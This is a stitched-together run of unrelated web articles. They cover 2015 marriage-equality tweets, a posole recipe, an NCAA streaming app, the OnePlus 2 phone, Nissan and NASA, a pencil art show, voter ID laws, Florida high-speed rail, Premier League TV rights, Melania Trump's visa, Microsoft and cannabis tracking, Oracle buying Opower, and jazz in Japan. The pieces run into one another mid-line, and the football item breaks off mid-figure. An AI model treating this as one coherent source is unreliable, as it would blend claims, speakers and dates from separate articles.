Great day to be a Virginian here today at #SCOTUS #MarriageEquality pic.twitter.com/DKlTHI12Cs — AG Mark Herring (@AGMarkHerring) April 28, 2015
Scene outside of #SCOTUS right before #MarriageEquality oral arguments begin pic.twitter.com/Oj0rwfcKoa — AG Mark Herring (@AGMarkHerring) April 28, 2015
U.S. Sen. Cory Booker of New Jersey shared HRC's meme of his own quote, along with both hashtags:
Colorado Rep. Jared Polis, the first out gay father in Congress, agreed that it is "time for SCOTUS to affirm every American's right to marry who they love." The congressman also changed his Twitter avatar to HRC's red equal sign:
Equal protection under law must rule the day. Time for SCOTUS to affirm every American's right to marry who they love. #LoveCantWait — Rep. Jared Polis (@RepJaredPolis) April 28, 2015
New Mexico Sen. Martin Heinrich shared a video of himself explaining why #LoveCantWait:
Join me & millions of others in raising our voices for marriage equality. #LoveCantWait #SCOTUS pic.twitter.com/XeR9qQsipK — Martin Heinrich (@MartinHeinrich) April 27, 2015
California Lt. Gov. Gavin Newsom, a longtime advocate for marriage equality as the former mayor of San Francisco, was also in Washington, adding his voice to the pro-equality chorus:Abstract:
I learned a lot about cooking from my Grandma. She had some truly outstanding recipes, but there were also a few that I never quite understood. Her take on posole, that spicy Mexican/Native American soup rich with pork, chile and hominy corn, was always lacking; so when I got my mitts on her source recipe, I made it a point to break it down to understand what had been amiss with Grandma's cooking. Was this a recipe that was too fussy for a home cook to do it right? Heck no! Turns out, once you take posole to the Crock Pot, it gets impossibly easy; and its simplicity absolutely belies the complexity of slow-simmered flavor. Grandma was always keen to do posole her way, but I'd like to think that after a few well-placed swear words with respect to my irreverence, that she'd have ultimately approved of my take on this Southwest-style soup.
Purpose:
In retrospect, I'd have to say it was like something out of a Truman Capote story: Every January for as long as I could remember, my Grandma would get it in her head that it'd be the right kind of weather for making posole. Ever had posole? Also (and maybe properly) spelled "pozole," this spicy soup rich with pork, chiles and "nixtimalized" corn (aka hominy) has its roots in Mexico way back before the likes of Christopher Columbus got lost in the West Indies. I'm of the opinion that it was that little bit of Native American blood my Grandma had that made her fancy this recipe, but for all her seasonal obsession with the dish, I could never shake the nagging thought that my grandmother's interpretation of the dish may have been a bit too loose. I was fortunate enough to get my mitts on Grandma's recipe boxes after she passed, and that posole recipe was one of the first things I looked for. The recipe Grandma used came from a clipping out of the Hutchinson News, that was printed sometime around the Christmas Holiday back in 1984. The recipe as wrote made way too much for our small household, and when I started to do the measurements, I realized that my pound and a quarter's worth of ham hock would be plenty of protein. What's more, the now smaller proportions would be a perfect fit for a standard 5-6 quart slow cooker.Hoping to watch some of the opening rounds of the NCAA "March Madness" basketball tournament on your Android phone or tablet? It might be harder than you think.
Users can download the NCAA March Madness app for Android as well as the iTunes App Store. As PCMag's story on March Madness notes, users can download the app for free, and receive schedules, stats, and live streaming radio of the games for free.
For live video, however, you'll need to pay $3.99 to see the free video of all 67 games, available for streaming over 3G or Wi-Fi. Video of the teams practicing will also be available, as will post-game highlights - although that's just for those with iOS devices.
According to the developers, Turner Sports Interactive, the app will be usable by all Android phones running OS 2.2 to 2.3.7. However, Turner also lists a few phones that support "the best viewing experience" for the app.
The problem, however, is that the number of optimized phones is relatively small, and favors Samsung devices. If you don't have one of the latest superphones, your results may vary. Those phones that are supported include: the HTC Rezound, LG Nitro, LG Thrill, Motorola Droid Bionic, Motorola Droid Razr, Samsung Droid Charge, Samsung Note, Samsung Epic 4G, Samsung Galaxy S, and the Samsung Nexus S 4G.
"We have to evaluate all carriers and manufacturers as best we can for the 2012 NCAA March Madness Live app," Turner said in an emailed response to questions from PCMag. "While we would love to support a wider range of devices, there are almost 70 different Android devices on sale in the U.S. currently, and many more that are still in use despite no longer being on sale. To provide the best experience across the most number of devices, we selected the most common Android devices that preserved our high-expectations for video quality."
None of the optimized devices include Android tablets, however, and it's unclear what the experience will be like once live play begins on Tuesday.
On one hand, Turner says this: "Devices not on the list may still offer a good experience. If your device is listed above and you're having problems accessing the video, please try closing the application and re-launching."
But tablet support is not guaranteed. "If your device is not listed as one of the approved and tested devices, we can not guarantee that the application will run correctly on that devices [sic]," Turner said in a FAQ, in response to the tablet issue.
Some of the initial user comments also aren't encouraging. "No live video with Verizon Galaxy Nexus. Works with Charge and doesn't look too bad on phone (selection show via wifi) but HDMI output is terrible," Bill Dean wrote, who also noted that the $3.99 upgrade still features ads. Most of the reviews for the app are either 5-star or 1-star, indicating the breadth of viewing experiences at press time. The comments, however, are almost uniformly negative, with many complaining about the lack of device support, video quality, or the lack of tablet support.
Users who buy the app via Android will still have access to the online video, Turner said. But there's also one odd line: "Beginning March 7, the apps for NCAA March Madness Live will be available in the iTunes App Store as a free download. Android apps will be available on Google Play as a free download before the tournament begins on Tuesday, March 13." (Emphasis ours.) That may mean that Turner may begin charging for the app on Tuesday; Turner didn't respond to that particular question.
The return policy for the Android Market (now Google Play) is 15 minutes; however, it doesn't apply to in-app purchases, like the live video upgrade.
For more from Mark, follow him on Twitter @MarkHachman.
For the top stories in tech, follow us on Twitter at @PCMag.OnePlus 2
One of the most hyped Android phones of the year has arrived. OnePlus, the Chinese startup behind the popular OnePlus One, has finally revealed its next flagship — and it doesn't disappoint.
With a refreshed set of flagship-worthy specs and a new operating system, the OnePlus 2 manages to build on all the best features of its predecessor while making significant hardware and software improvements for less than $400.
The company is billing the OnePlus 2 as 2016's "flagship killer" and the specs alone certainly put the OnePlus 2 squarely at the front of the pack in terms of its Android competitors.
The 5.5-inch phone is powered by a 64-bit Qualcomm Snapdragon 810 processor with options for 4GB or 3GB of RAM (for the 64GB and 16GB capacity models, respectively). Like its predecessor, it lacks a microSD option for additional storage, but has dual-SIM slots. The display is 1,920 x 1,080 resolution (full HD) and comes with a fingerprint sensor that can store up to five prints. The 13-megapixel rear-facing camera is equipped with a dual-LED flash and f/2.0 aperture; it supports 4K resolution video and a slow motion mode that shoots at 720p.
More impressive, however, is the price: The unlocked OnePlus 2 will cost $329 for the 16GB model and $389 for 64GB. By comparison, Samsung's flagship Galaxy S6, with 64GB of storage and only 3GB of RAM, runs more than $800 without a carrier subsidy.
"Our goal is to just have enough margin to keep the company running and not make a profit," OnePlus cofounder Carl Pei tells Mashable. "When we launch a new product, we normally make nothing selling it," he says, adding that the company expects its margins to improve over time as it sells more devices and hardware costs go down.
A fresh take on a familiar look
For its second generation flagship, Pei says OnePlus made more than 100 changes from its first release in 2013. Most notably, the polycarbonate bezel of the original OnePlus One has been swapped for an all-metal one, which give the phone a more premium look and feel.
The OnePlus 2 ships with the company's signature "sandstone black" back cover. The textured cover manages to strike the right balance between providing a good grip and while not feeling (or looking) cheap as is often the case with textured covers employed by other manufacturers.
The "black sandstone" back cover that ships with OnePlus 2. Image: Karissa Bell/Mashable
OnePlus is also selling four optional back covers: black kevlar, bamboo, rosewood and black apricot. Each cover is made with the actual materials on a polycarbonate casing and each feels and looks like it belongs on a premium flagship. The covers are easily removable and, unlike the OnePlus One, the new covers don't have antennas embedded in them, which has helped bring the cost down to $26.99 each.
Pei says the company spent a lot of time improving the phone's camera, with an emphasis on improving its performance in low-light environments — one of the few weaknesses of the OnePlus One. To do this, the startup added a laser focus, optical image stabilization (OIS) to the hardware and hired a dedicated team to work on the camera's software.
We'll have to wait for our review to really put the camera through its paces but photos taken in our initial, brief hands-on were crisp with vivid colors. The shutter and focus were fast and responsive and Pei says the company will add a manual mode in a forthcoming update that will give people more control over the settings like ISO and white balance.
OxygenOS
Perhaps one of the biggest question marks heading into the OnePlus 2 release was the software. One of the elements that made the company's first flagship so appealing was its operating system. The handset ran CyanogenMod, a highly customizable version of Android and one of the most popular alternative flavors of Android.
OnePlus was forced to change things up with this release, following the OnePlus One's ban in India after a rival company received the exclusive rights to distribute Cyanogen in the country. The result is OxygenOS, OnePlus' own custom version on Android, based on Android 5.0 Lollipop.
The OnePlus 2 running the company's custom operating system: OxygenOS. Image: Mashable/Karissa Bell
Pei says the company wanted to take a more cautious approach in the design of OxygenOS to keep from alienating users and the operating system does look very close to the stock version of Android Lollipop, with a clear emphasis on Google's Material Design guidelines. The new operating system maintains some of the features from its Cyanogen roots, however, including on-screen gestures, which allows you to launch the camera or flashlight by drawing patterns on the screen, for example.
The company's software team has also managed to add a few tricks of their own to OxygenOS. A feature called Shelf, still in beta, brings up shortcuts to your contacts and the apps you use the most when you swipe right from the home screen. Small touches, like the ability to switch between physical or capacitive navigational buttons and to customize the color of the LED notification light, will also appeal to those who like the customization afforded by Cyanogen, even if OxygenOS doesn't go as far.
Future-proofing a flagship
As flagship specs become increasingly common, it's often the smaller features that add up to setting a handset apart from the competition. This point is not lost on OnePlus and Pei says the company went to great lengths to get the small details right and add new features not used by competitors.
"The reason why we even started this company was we felt there wan’t any Android phone that was good enough," he says. "There's no company that puts as much emphasis on the product itself as Apple does when it comes to smartphones. No one really cared about the product within Android."
The OnePlus 2 is one of the first flagship handsets to support USB Type-C. Image: Mashable/Karissa Bell
The OnePlus 2 comes with a new USB Type-C cable, making it one of the first companies to support the new standard on handsets (Apple's new Macbook and Google's Chromebook Pixel 2 also come with USB Type-C ports). The cable that ships with the OnePlus 2, which the company is also selling as a standalone, also has a reversible design on the type A side (the end that plugs into a standard USB port).
The phone also comes with a physical "Alert Slider" switch on the left side of the device that allows users to toggle between notification styles — either all notifications, no notifications or priority, which only surfaces those from a designated set of contacts.
Invites and availability
The $389 64GB OnePlus 2 model will be available in the United States in Europe beginning August 11, on the company's website. The $329 16GB mode will follow, though the company hasn't provided an exact time. As with the last release, the phone will only be available through OnePlus' online store and buyers will need an invitation before they are able to place an order.
The company has attempted to reduce much of the friction around the invitation process by making 30,000 to 50,000 invitations available at launch. OnePlus will also be offering prospective customers a hands-on experience with nine pop-up stores in the United States, Europe and Asia, where customers will be able to demo the device and secure an invitation. The pop-up stores will open in New York City, San Francisco, Berlin, Paris, Milan, London, New Delhi, Bangalore and Jakarta beginning July 31.Every car manufacturer, it seems, is building a self-driving car, these days. At CES 2015, we've seen both Audi and Mercedes show their achievements in the field. Now, Nissan and NASA have teamed up, and joined the race.
The U.S. agency and Japanese automaker announced a five-year partnership on Thursday, introducing plans to build an autonomous vehicle system and preparations to apply the technology commercially.
Although NASA and Nissan may seem like an odd couple, they have quite a bit in common when it comes to car tech. Nissan has been improving its electric car, the Leaf, for four years now, while NASA has an electric, automated vehicle of sorts: the Mars rover.
Scientists with the Nissan Research Center in Silicon Valley and NASA’s Ames Research Center in Moffett Field, California will design a zero-emission, autonomous vehicle, with plans to test drive the first one at Ames in 2015.
“The partnership will accelerate Nissan’s development of safe, secure and reliable autonomous drive technology that we will progressively introduce to consumers beginning in 2016 up to 2020,” Carlos Ghosn, president and CEO of Nissan Motor Co., said in a press release.
Nissan previously showed off its autonomous-driving tech at the 2013 CEATEC Innovation Awards, including cars that can detect road conditions and automatically steer, brake and accelerate as needed. The company said it believes that by the year 2020, we'll have autonomous vehicles that can navigate in "nearly all situations," including city driving.
BONUS: I rode in a driverless car on the streets of VegasIf pencil art were a person, it would probably spend a lot of time alone, scoffed at every time it tried to make friends. An upcoming exhibit of 46 artists from seven countries at Saint Brigid’s Centre for the Arts will help give the centuries-old art form – now too often thought of as the stuff of kids’ scribbles or adult colouring books — the enthusiastic acceptance it deserves.
The Canadian-based Pencil Art Society is presenting its 2nd International Open Juried Exhibition Sept. 29 – Oct. 11. It includes a reception and awards ceremony Oct. 1 as well as other events.
“There are a lot of pencil artists out there and they’re just not paid attention to as they should be. Pencil art is not taken seriously,” says the society’s vice-president and co-founder, Erica Lindsay Walker. “Maybe it’s associated with sketches or work that’s not quite finished.”
The heft of pencil art is evident from even a glance at some of the works in the upcoming show, including Walker’s mysterious Besieged, which depicts a snake curled around a glass jar containing a chess piece (what’s the snake doing there? why is the rook inside a glass jar?).
Those attending the show should expect the unexpected, says Ottawa-based Walker: Varied subject matter from portraits to landscapes, depth of colour, a range of emotion. “Everything paint can do, pencil can do.”
Allison Fagan, another local exhibitor at Saint Brigid’s, says that when she visits pencil art exhibitions, “I look for the Wow! factor. What strikes me not just for (its) technique, but for depth. Is there a story involved? Does it draw the viewer in? (I think,) ‘Look at the detail, the number of layers!’ — all just using the tiny point of a pencil, not the large swath of a paint brush.”
That description applies to one of Fagan’s entries in this year’s exhibition. Amazing Grace is a finely wrought drawing of an aged nun’s hands resting on a floral background. The drawing honours a friend of Fagan’s who was, she says, reverent and kind-hearted, but also “full of piss and vinegar.” The drawing honours “what her hands did in life, whether praying for peace in the world or patting a little kid on the head in her orphanage.”
Like Walker, Fagan says pencil art, which includes everything from graphite and coloured pencils to charcoal and more, has often not garnered the recognition it merits. However, that’s changing for the better, helped along when we see drawings alongside paintings in exhibitions, such as the recent one at the National Gallery of Canada of the extraordinary 18th century French portraitist Elisabeth Louise Vigée Le Brun.
Artists like Walker and Fagan say they love working with pencil because of its precision and control, its blend of heavy and light lines, its potential for lushness or simplicity. They also like its sheer practicality: Once you’ve purchased your pencils and paper, it’s inexpensive. As well, unlike painting there’s no clean-up at the end of a work session, and a pencil case and sketch pad is all you need for travelling.
Fagan, who teaches coloured pencil drawing, encourages everyone to pick up a pencil and see what happens. Unlike painting, she says pencils don’t have a threatening factor for the novice because drawing with them is something we all did as youngsters.
For those who want to give it a shot, online tutorials, YouTube how-tos, and instruction books all abound, says Fagan.
“Just try it! Who cares?”
PAS 2016: 2nd International Open Juried Exhibition
Where: Saint Brigid’s Centre for the Arts
When: Sept.29 – Oct. 11, noon to 8 p.m. (closed Sunday, Oct. 9)
More information: pencilartsociety.comProponents of voter ID laws say that they’re necessary to ensure electoral integrity. When we hold elections, we want the candidate who gets the most votes from eligible voters to win, and voter ID is proposed as a way of ensuring that the votes of ineligible voters can’t put a candidate who doesn’t have a majority of support from eligible voters over the top.
But what if voter ID laws created a scenario in which a candidate with less support from the eligible voting population winds up winning?
In a 2015 paper published in the Columbia Law Review, University of Virginia law professor Michael Gilbert makes this case, starting with the following thought experiment:
[S]uppose that without a voter ID law candidates A and B would receive 13 and 10 lawful votes, respectively, and B would receive 2 fraudulent votes. Candidate A wins, 13 to 12, and the outcome is nonfraudulent. Now suppose that with a voter ID law, candidates A and B would get 9 and 9 lawful votes, respectively (less than before because of depressed turnout), and B would get 1 fraudulent vote (less than before because of fraud deterrence). Candidate B wins fraudulently, 10 to 9. The voter ID law caused the problem it was meant to solve.
Implicit in the arguments made in favor of voter ID is the claim that they will block all fraudulent votes while leaving all eligible voters unaffected. If pushed, this is sometimes revised down to the claim that the laws will at least deter more fraudulent votes than they will prevent eligible voters without acceptable ID from casting ballots. But there is no reason to believe that either of these propositions are true, and there is little reason to believe that those who lack voter ID are the only people affected by voter ID laws. To the contrary, all available evidence suggests the opposite. The single biggest observable effect voter ID laws have been shown to have is that they confuse and discourage eligible voters with acceptable forms of ID, lowering turnout people who Gilbert defines as “lawful voters.”
From a real-life version of Gilbert’s thought experiment that played out in a 2014 congressional election:
Jones, Granato and Cross surveyed 400 of the 271,005 registered voters who did not participate in the 2014 election, asking them why they didn’t cast ballots. Voters were asked first to indicate all of their reasons for not voting, and were then asked to select which one was the principal reason for not voting. 12.8% of respondents indicated that a lack of necessary ID was a reason for not voting, while 5.8% of respondents said that it was their principal reason for not voting. Applying that percentage across the entire population of non-voters (insert necessary qualification about margins of error here), that’s nearly 16,000 registered voters in TX-23 who stayed home primarily due to a perceived lack of acceptable ID. However, most of those perceptions were incorrect. When respondents were then given the list of which forms of ID were accepted at the polls, only 2.7% of respondents didn’t have any of them. … While Latinos constituted roughly 66% of the district’s non-voting population, they constituted 77% of non-voters who cited a lack of proper ID as their primary reason for staying home. Those voters also favored Gallego over Hurd by a whopping 54-9 margin — a margin large enough to have proven decisive if even roughly half of them had turned out to vote. Some quick back-of-the-envelope math based on the numbers in the study (again, margins of error excluded) finds that confusion over Texas’s voter ID law was the principal reason why 7089 would-be Gallego supporters and 1430 would-be Hurd supporters stayed home. Had they all turned out to vote, Gallego’s 2422-vote loss would have flipped to a 4667-vote win. For those of you keeping score at home, that’s a swing of just under six percentage points. And again, that’s only including people who cited confusion over the law as the primary reason why they didn’t cast a ballot.
Voter ID proponents can’t point to a recent election in which voter impersonation fraud — the kind of fraud that such laws are meant to prevent — swung the outcome in favor of the candidate who did not in fact have the most support from lawful voters. But in both theory and practice, the case can be made that voter ID laws can and do swing electoral outcomes in favor of the candidate that does not have the most support from lawful voters.
Held to their own standard, these laws sometimes cause the problem they’re meant to solve.Rick Scott vs. high-speed rail
Rick Scott's aversion to high-speed rail threatens Florida's economy.
The answer's yes, if, in the end, the governor-elect cares more about partisan politics than an economic opportunity that anyone with his supposed business savvy would be daft to resist.
Could Rick Scott, who's all about getting people back to work, manage to kill the planned Orlando to Tampa high-speed rail line and the 24,000 jobs it would bring Florida?
Regrettably, Mr. Scott's sending signals that to him, politics may well be more important than doing what's clearly in the best interests of Florida. How unfortunate for the state, which needs the stimulative, potentially transformative high-speed line.
And how ironic for someone who cast himself as a political outsider in his run for governor.
Mr. Scott's continued parsing of the project — it's got to show a return on investment; it can't cost taxpayers, he says — is now imperiling it. State Department of Transportation officials who'll depend on Mr. Scott for their paychecks once he's governor have picked up on his dislike of the project and put off plans to solicit companies to prepare the Interstate-4 median for the high-speed trains.
Mr. Scott's tack resembles those of Republican governors in Wisconsin, New Jersey and Ohio, who recently leveled criticism at federally-supported rail projects destined for their states — before they ended up telling Washington they didn't want them.
But Mr. Scott surely knows Florida's in a far better position to host a new passenger-rail system than those states, unless six weeks after the election he's still ignorant about one of its biggest infrastructure and economic development projects.
Florida's $2.6 billion high-speed project would be paid for almost entirely by the feds. Washington has agreed to send Florida all but $280 million of its cost. And some companies vying to run the trains indicate they'd cover the state's share. They're willing to do that because they believe running the Orlando-Tampa route would give them a leg up on operating a second high-speed rail line from Orlando to Miami — and other fast trains outside Florida.
New Jersey Gov. Chris Christie said he feared his state would have to pay for costly rail-project overruns. But meetings last month between Florida transportation officials and companies wanting to operate the trains reportedly revealed the companies' willingness to cover any construction overages.
Wisconsin Gov.-elect Scott Walker said his state would have had to pay too much to operate and maintain its rail line. But the company that runs high-speed trains in Florida would have to operate and maintain them for 30 years. The state, Florida DOT's Kevin Thibault told us, wouldn't have to pick up the cost.
Florida would need 23,000 people to build the rail line, and to find as many as 1,000 workers to operate it. The train would stimulate businesses along the line and help turn Orlando and Tampa into a single market that attracts entrepreneurs eager to reap the benefits of the nation's most advanced transit system.
And it would offer commuters and tourists an alternative to an increasingly gridlocked I-4. It also would prove cheaper than the alternative: Building another lane of Interstate 4 — just from Tampa to Lakeland — would cost $3 billion.Media playback is unsupported on your device Media caption Premier League Chief Executive Richard Scudamore described the £3bn deal as a "decent commercial increase" - Pictures courtesy of the Premier League
BT has secured the rights to broadcast live Premier League games for the first time, securing the rights to 38 matches a season from 2013-14 to 2015-16.
BSkyB will continue to show the bulk of games, securing the rights to 116 games per season, the Premier League said.
The total of 154 live matches is 16 more than currently broadcast and more than 40% of all top-level matches.
The sales raised £3.018bn, an increase of £ |
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Both Melania Trump and her husband have always contended that she entered the country legally, and most reports indicate she used what's called an H-1B work visa. But Politico's report found a number of instances where her own statements make that unlikely. In interviews with Harper's Bazaar and MSNBC's Morning Joe, Trump repeatedly said she had to travel back to her home country of Slovenia "every few months" to renew her U.S. visa.
However, as immigration law experts told Politico:
"An H-1B visa can be valid for three years and can be extended up to six years—sometimes longer—and would not require renewals in Europe every few months. If, as she has said, Trump came to New York in 1996 and obtained a green card in 2001, she likely would not have had to return to Europe even once to renew an H-1B."
That Trump continually had to return to her home country to renew her visa indicates it was more likely a B-1 Temporary Business Visitor or a B-2 Tourist Visa, "which typically last only up to six months and do not permit employment." According to Andrew Greenfield, an immigration law expert consulted by Politico, entering the country on either of those with the intention of working could constitute "visa fraud." Another immigration lawyer said that if Trump was indeed using a B-1 visa, she may well have had to lie to border officials about why she was entering the country in order to avoid being sent back to Slovenia.
To make matters worse, visa fraud can call into question subsequent green card and citizenship applications, "thus raising questions about Melania Trump's legal status, even today, despite her marriage to a U.S. citizen."
Spencer Platt Getty Images
All this might seem a bit harsh on Trump—after all, she's not running for president. But the issue is dragged into relevance by the campaign her husband has run. Donald Trump has been perhaps the biggest illegal immigration hardliner in modern history over the last year, repeatedly characterizing people who enter the country without proper documentation as violent criminals threatening the very fabric of our society. (The Trump campaign and Trump Organization's response to Politico was limited to a statement from Hope Hicks: "Melania followed all applicable laws and is now a proud citizen of the United States.") But Melania Trump is, in fact, a representative example of immigrants to America, legal and not, who are less likely to commit violent crime than native-born citizens and often become productive members of society.
Unfortunately, Trump's rhetoric has thrown his wife under the bus. Politico also questioned whether the timeline she has given for her arrival is accurate, and cited reports from CBS News and GQ that "Trump falsely claimed to have obtained a college degree in Slovenia." Moreover, even if Trump—then Melania Knauss—used a legal H-1B work visa, it would run contrary to her husband's rhetoric in this campaign. He has pledged to "end forever the use of the H-1B as a cheap labor program, and institute an absolute requirement to hire American workers first."
Sometimes, it's not that Donald Trump does not conform to his own rhetoric or follow the rules he would impose on others. It's that he's so damn obvious about it.
You can find the full report at Politico.Image copyright Getty Images
Microsoft has teamed up with California-based technology start-up Kind Financial, which helps businesses and government agencies track sales of legalised marijuana "from seed to sale".
It is the first-ever partnership of its kind for Microsoft.
Kind has been selling its marijuana tracking software to businesses and governments for some three years.
The start-up will now be able work on Microsoft's government cloud.
Kind's software, which is called Agrisoft Seed to Sale, "closes the loop between marijuana-related businesses, regulatory agencies, and financial institutions," a press release said.
Image copyright Reuters
Microsoft told the BBC in an emailed statement that it supported "government customers and partners to help them meet their missions".
"Kind Financial is building solutions on our government cloud to help these agencies regulate and monitor controlled substances and items, and manage compliance with jurisdictional laws and regulations," the Microsoft spokesperson said.
Microsoft is based in Washington where cannabis is legal.
Kind said that Microsoft's cloud platform was the only one of its kind "designed to meet government standards for the closely regulated cannabis compliance programmes", The Weed Blog reported.
Microsoft told the Weed Blog it was looking forward to working with Kind "to help our government customers launch successful regulatory programs."AP Photo Trump to talk black outreach in Detroit By Nick Gass By | 08/29/16 06:22 AM EDT
Continuing efforts to reach out to black voters who have largely avoided supporting Donald Trump to this point, the Republican nominee's campaign announced that he will visit Detroit on Saturday to speak to the president and CEO of the only African-American owned and operated national Christian television network.
Trump will speak at Great Faith Ministries, a church in the heart of the city, where he will speak with Impact Network President and CEO and Bishop Wayne T. Jackson, the campaign said in a statement from surrogate Mark Burns, a pastor who set up a meeting between the candidate and Jackson.
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"Mr. Trump will answer questions that are relevant to the African American community such as education (including HBCUs [historically black colleges and universities]), unemployment, making our streets safe and creating better opportunities for all," Burns said. "He will then give an address to outline policies that will impact minorities and the disenfranchised in our country. Citizens around the country will see, as I've have seen, the heart and compassion Mr. Trump has for all Americans, which includes minority communities whose votes have been taken for granted for far too long."
Trump has attempted to appeal to African-American as well as Hispanics voters in recent weeks, accusing Hillary Clinton of being a "bigot" and asking voters "what the hell do you have to lose?"Last week Oracle bought Textura for $663 million, giving the database giant a vertical construction solution in the cloud. Today it bought Opower for $532 million giving it a vertical utilities cloud solution. I can’t be sure, but I think I see a pattern here.
Opower provides cloud data solutions for the utilities industry. What that means in practice is that it gathers data from utilities like PG&E, Exelon and National Grid. The company stores and analyzes over 600 billion meter reads from 60 million utility customers via its cloud service, according to Oracle. This data lets their subscribers stay ahead of customer and regulatory requirements and find greater efficiencies.
While that kind of application has a somewhat limited market, it’s likely lucrative and the company counts over 100 utility companies from around the world as customers. Unfortunately, that hasn’t translated into great stock performance for Opower, which went public in April, 2014 after raising almost $66 million.
It went public at a healthy $23 per share on April 4, 2014 and has gone steadily downhill ever since, reaching a low of $6.25 per share on March 11th this year. The stock was up this morning, selling at $7.91 a share with a market cap of almost $427 million.
Opower gives Oracle a stronger position and a ready supply of customers in the cloud utilities market, where it already is offering products. ” “Together, Oracle Utilities and Opower will be the largest provider of mission-critical cloud services to utilities,” Rodger Smith, senior vice president and general manager for Oracle Utilities Global Business Unit said in a statement.
As Oracle struggles to find a place in the cloud market in which it competes with AWS, Salesforce, Microsoft, Google, IBM and others, it’s using its checkbook to expand its position. While the company’s financials have shown some progress in the cloud, it has made the bulk of its money over the years selling licensed software and hardware.
Moving to a subscription model in the cloud is not an easy transition for a company like Oracle and perhaps it sees a vertical strategy as a way to differentiate itself from the rest of the field. It’s not a bad approach. With over $50 billion in cash, Oracle obviously has the money to buy its way into the cloud.
It’s certainly not the first deep-pocketed legacy vendor pursuing this tactic. IBM and Cisco in particular have been following a similar pattern buying up cloud properties in an effort to fight off disruptive forces.
As for this deal, the Opower board has approved it and it awaits standard regulatory and stockholder approvals. Oracle expects the deal to close some time later this year.How Japan Came To Love Jazz
Enlarge this image toggle caption Kimimasa Mayama/AFP/Getty Images Kimimasa Mayama/AFP/Getty Images
If you've witnessed a headlining performance from pianists Toshiko Akiyoshi or Hiromi, visited a "jazu kissa" cafe where records are spun and coffee poured, or read nearly any work by author Haruki Murakami, then you probably have a sense that Japan has taken well to jazz music.
Incidentally, the centerpiece Global Concert of this year's International Jazz Day — the annual musical diplomacy initiative from UNESCO and the Thelonious Monk Institute of Jazz — was held today in Osaka, one of Japan's historical jazz capitals. (As of publication, the concert video archive should be available shortly.)
So how did this music get to Japan in the first place? How did the island nation which fought the U.S. in WWII come to embrace an art form that originated in black America? And does the history of jazz in Japan actually support the peace-brokering role that UNESCO claims?
For a few answers, and a primer on Japanese jazz history, I gave professor E. Taylor Atkins a call. An East Asian historian at Northern Illinois University and an amateur musician, he's the author of Blue Nippon: Authenticating Jazz in Japan and the editor of Jazz Planet, a collection of essays about jazz outside the U.S. Here's an edited version of our conversation:
Enlarge this image toggle caption Bryan Bedder/Getty Images Bryan Bedder/Getty Images
We often think of jazz as this very American thing — at least for us Americans — but it's been a very international music from the very start. How did it get to Japan in the very beginning?
Yeah, a couple of different ways. In the 1910s, there was a growth in luxury liners going across the Pacific — Americans and Japanese going across from the West Coast and Japan, and Shanghai and Manila, and places like that. And they usually had orchestras on them. And pretty much it seems like when they arrived in places like San Francisco or Seattle, a lot of the time those musicians would get off and go to music stores and buy sheet music. And they learned a lot of the foxtrot repertoire and other kinds of popular music that was coming out at that time. They were also buying records, and when they would go back, these ocean-liner musicians also worked in hotel lobby orchestras. And so it seems that the first musicians who were playing something that we would recognize as ragtime or foxtrot or jazz were those people. There was precious little improvisation, but that wasn't as big a deal, as you know, in American jazz of the 1910s or '20s.
Another thing — and there's a book waiting to be written about this — is that Filipino musicians were learning jazz, and they played in hotel and ocean-liner orchestras, in Kobe and Osaka and Shanghai and places like that. Because the Philippines were an American colony, supposedly that's the reason they became so adept at it. Some of the Japanese musicians say the first time they ever heard anybody "faking" or ad-libbing, it was Filipinos.
It eventually must have become more into the popular culture and entertainment rather than, say, the hotel lobbies.
Yes. With the beginning of the popular music recording industry in the '20s, one of the first big records was "My Blue Heaven," and "The Sheik of Araby," and songs like that. They made Japanese versions of those, sometimes with translated lyrics, and with some of those same pioneering musicians being in the studio bands.
So the first time a lot of people hear the word "jazz" is in 1929, in a popular song attached to a movie called Tokyo March. The lyrics refer to jazz, and... that's sort of where it came into mass consciousness. It was associated with dance halls, it was associated with "modern girls" and "modern boys" — the Japanese version of flappers and dandies — and the urban leisure classes: excess, and dogs and cats sleeping together, and all those sorts of portents of future calamity. [Laughs.]
There must have been some particular economic realities that dictated the development of jazz in Japan. Like, one of the points that's made in your book is that musicians that were in the dance halls were paid by the song, so they were encouraged to write shorter songs.
Yes, they'd play shorter arrangements and they wouldn't blow extended solos. The reason for that was to keep selling tickets with which a male patron could dance with a female taxi dancer. And the shorter the songs, the more tickets were sold, the more individual dances were done. So that had an impact on the music.
I tell... stories where Army trucks ride up to train stations or somewhere where musicians hang out, and saying, 'OK, we need a couple clarinets, a trombone, a drummer.' People would pile in and then they'd go to the gig.
The fact that the Columbia and Victor recording companies both opened subsidiary companies in Japan which issue a lot of the jazz recordings — either the ones made in the U.S. and imported, or the ones that feature Japanese artists — that has a lot to do with it, as well. And because Tokyo has this catastrophic earthquake in 1923, a lot of the musicians and entertainers move out to the West, to Osaka and Kobe. So until the end of the 1920s, a lot of the action was happening there while Tokyo was rebuilding.
Who did it catch on with at first? I mean, who was the core audience? Was it people who were out for dancing, and they heard this new, catchy rhythmic identity from abroad? Or was it also perhaps how hip-hop is embraced by underprivileged or subaltern cultures worldwide today? Was there an element of that going on?
No. For all the efforts during the Cold War to identify jazz with the underprivileged — I mean, it may have originated among underprivileged people in New Orleans, but it doesn't stay there. In fact, in most places [worldwide], it becomes the music of young, urban, middle-class or upper-middle-class people who have access to phonographs, access to the latest fashions, who go to cafes, buy records, listen to the radio, go to dance halls, go to movies, sporting events, stuff like that. It's one of a number of so-called modern entertainments available to them. And they have a very strong consciousness of participating in what they believed was a global cultural wave or movement.
So people that didn't even really like the music — you know, social critics or music critics — were saying, 'We need to know something about this, even if it's a lower form of music than Western art music.' But it didn't reach the rural masses in any particular way, and didn't really appeal to them. As a matter of fact, right-wingers who would say that they were championing the cause of those common people would often seize upon it and say, 'Look, these urbanites — one of the things that they do is listen to jazz, and it's another way that they're disconnected from you.'
I would imagine there would be some sort of — I don't know if the correct word is "nativist," but some sort of official cultural backlash to this cosmopolitan idea, especially as Japan enters WWII, and the enemy is the Americans.
There's a strong component of that, and it certainly becomes stronger as it enters the '30s and '40s. But I would say that hostile reactions to jazz initially in the 1920s comes not from nativists, but from the so-called music establishment. People who were published or wrote about music, people who were involved with Western classical music. And when they would object to jazz and say it was inferior, that's what they would compare it to. They weren't comparing it to any Japanese traditions.
Same as it was anywhere, I suppose.
Yep.
After WWII, the floodgates seemed to open a bit for jazz across the Pacific. What factors would you say contributed to that?
